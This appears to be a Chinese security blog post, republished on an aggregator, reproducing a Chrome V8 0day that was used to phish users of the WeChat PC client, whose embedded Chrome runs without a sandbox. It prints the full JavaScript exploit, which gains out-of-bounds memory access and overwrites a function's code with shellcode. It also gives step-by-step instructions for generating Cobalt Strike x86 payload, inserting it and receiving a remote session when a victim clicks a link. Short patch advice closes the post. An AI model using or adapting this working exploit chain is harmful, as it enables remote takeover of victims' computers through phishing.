快捷搜索:  汽车  科技

chromebeta历史记录(Chrome-0day引发的一波蝴蝶效应)

chromebeta历史记录(Chrome-0day引发的一波蝴蝶效应)3.CS生成C格式Paylaod监听器创建成功注意:Poc使用要与微信版本对应,否则无法上线。Poc如下:ENABLE_LOG = true; IN_WORKER = true; // run calc and hang in a loop var shellcode = [ ];//shellcode替换成自己的 注意是X86的 function print(data) { } var not_optimised_out = 0; var target_function = (function (value) { if (value == 0xdecaf0) { not_optimised_out = 1; } not_optimised_out = 1; not_optimised_out |= 0xff; no

近日Chrome爆出0day在安全圈内掀起了一大波浪潮,恰好又正处攻防演练期间,这让红蓝双方之间的对抗凸显的异常精彩。随后各大安全论坛、公众号也随即更新了此次漏洞的利用过程,笔者秉承着学习的心态,复现了此次Chrome-0day引发的微信钓鱼事件。其中如有纰漏,请各位大佬留言指正。

0x01 漏洞利用条件

1.本次漏洞是由Chrome浏览器引起的远程代码执行,由于Chrome本身是存在沙箱的,想要利用此次漏洞,条件还是比较苛刻的。如果想要复现需提前关闭Chrome中沙箱(-no-sandbox)。

CMD下运行以下代码,关闭沙箱: C:\Users\XXX\AppData\Local\Google\Chrome\Application\chrome.exe -no-sandbox

2.由于微信中默认使用Chrome内核,且沙箱处于关闭状态,如下图所示。所以攻击者可以使用微信发送精心伪造的钓鱼链接,诱使用户点击从而触发隐藏在链接中的shellcode。

chromebeta历史记录(Chrome-0day引发的一波蝴蝶效应)(1)

0x02 漏洞利用过程

1.利用网上流传的Poc并替换shellcode代码实现CS远程上线。

注意:Poc使用要与微信版本对应,否则无法上线。

Poc如下:

ENABLE_LOG = true; IN_WORKER = true; // run calc and hang in a loop var shellcode = [ ];//shellcode替换成自己的 注意是X86的 function print(data) { } var not_optimised_out = 0; var target_function = (function (value) { if (value == 0xdecaf0) { not_optimised_out = 1; } not_optimised_out = 1; not_optimised_out |= 0xff; not_optimised_out *= 12; }); for (var i = 0; i < 0x10000; i) { target_function(i); } var g_array; var tDerivedNCount = 17 * 87481 - 8; var tDerivedNDepth = 19 * 19; function cb(flag) { if (flag == true) { return; } g_array = new Array(0); g_array[0] = 0x1dbabe * 2; return 'c01db33f'; } function gc() { for (var i = 0; i < 0x10000; i) { new String(); } } function oobAccess() { var this_ = this; this.buffer = null; this.buffer_view = null; this.page_buffer = null; this.page_view = null; this.prevent_opt = []; var kSlotOffset = 0x1f; var kBackingStoreOffset = 0xf; class LeakArrayBuffer extends ArrayBuffer { constructor() { super(0x1000); this.slot = this; } } this.page_buffer = new LeakArrayBuffer(); this.page_view = new DataView(this.page_buffer); new RegExp({ toString: function () { return 'a' } }); cb(true); class DerivedBase extends RegExp { constructor() { // var array = null; super( // at this point the 4-byte allocation for the JSRegExp `this` object // has just happened. { toString: cb } 'g' // now the runtime JSRegExp constructor is called corrupting the // JSArray. ); // this allocation will now directly follow the FixedArray allocation // made for `this.data` which is where `array.elements` points to. this_.buffer = new ArrayBuffer(0x80); g_array[8] = this_.page_buffer; } } // try{ var derived_n = eval(`(function derived_n(i) { if (i == 0) { return DerivedBase; } class DerivedN extends derived_n(i-1) { constructor() { super(); return; ${"this.a=0;".repeat(tDerivedNCount)} } } return DerivedN; })`); gc(); new (derived_n(tDerivedNDepth))(); this.buffer_view = new DataView(this.buffer); this.leakPtr = function (obj) { this.page_buffer.slot = obj; return this.buffer_view.getUint32(kSlotOffset true ...this.prevent_opt); } this.setPtr = function (addr) { this.buffer_view.setUint32(kBackingStoreOffset addr true ...this.prevent_opt); } this.read32 = function (addr) { this.setPtr(addr); return this.page_view.getUint32(0 true ...this.prevent_opt); } this.write32 = function (addr value) { this.setPtr(addr); this.page_view.setUint32(0 value true ...this.prevent_opt); } this.write8 = function (addr value) { this.setPtr(addr); this.page_view.setUint8(0 value ...this.prevent_opt); } this.setBytes = function (addr content) { for (var i = 0; i < content.length; i ) { this.write8(addr i content[i]); } } return this; } function trigger() { var oob = oobAccess(); var func_ptr = oob.leakPtr(target_function); print('[*] target_function at 0x' func_ptr.toString(16)); var kCodeInsOffset = 0x1b; var code_addr = oob.read32(func_ptr kCodeInsOffset); print('[*] code_addr at 0x' code_addr.toString(16)); oob.setBytes(code_addr shellcode); target_function(0); } try{ print("start running"); trigger(); }catch(e){ print(e); }

chromebeta历史记录(Chrome-0day引发的一波蝴蝶效应)(2)

2.CS创建监听器

chromebeta历史记录(Chrome-0day引发的一波蝴蝶效应)(3)

监听器创建成功

chromebeta历史记录(Chrome-0day引发的一波蝴蝶效应)(4)

3.CS生成C格式Paylaod

chromebeta历史记录(Chrome-0day引发的一波蝴蝶效应)(5)

这里不勾选X64,因为微信PC端处理器为X86。

chromebeta历史记录(Chrome-0day引发的一波蝴蝶效应)(6)

将生成的C文件,替换到上述shellcode数组中,如下图所示:

chromebeta历史记录(Chrome-0day引发的一波蝴蝶效应)(7)

4.本地搭建测试环境,微信点击链接CS上线

chromebeta历史记录(Chrome-0day引发的一波蝴蝶效应)(8)

0x03 修复建议

1.Chrome官方已经对本次漏洞进行修补,请升级到最新的Chrome版本。

2.微信同时也发布了3.2.1.143最新版本,请大家及时下载更新。

0x04 总结

归根结底本次漏洞利用了Chrome浏览器远程代码执行,理论上来讲,所有使用Chrome内核,且关闭沙箱的软件都有可能被攻击者利用。笔者在复现的过程中,看到了某实验室写到的一篇文章利用appscan扫描器(使用Chrome内核进行爬取)CS上线,有兴趣的同学可以自行搜索学习。

本次漏洞复现较为简单,笔者本着学习的心态复现了此漏洞,希望与大家共同探讨学习,如复现过程中遇到任何问题,可以在评论区下方留言,笔者会和大家一起探讨解决。朋友们我们下次再见!

猜您喜欢: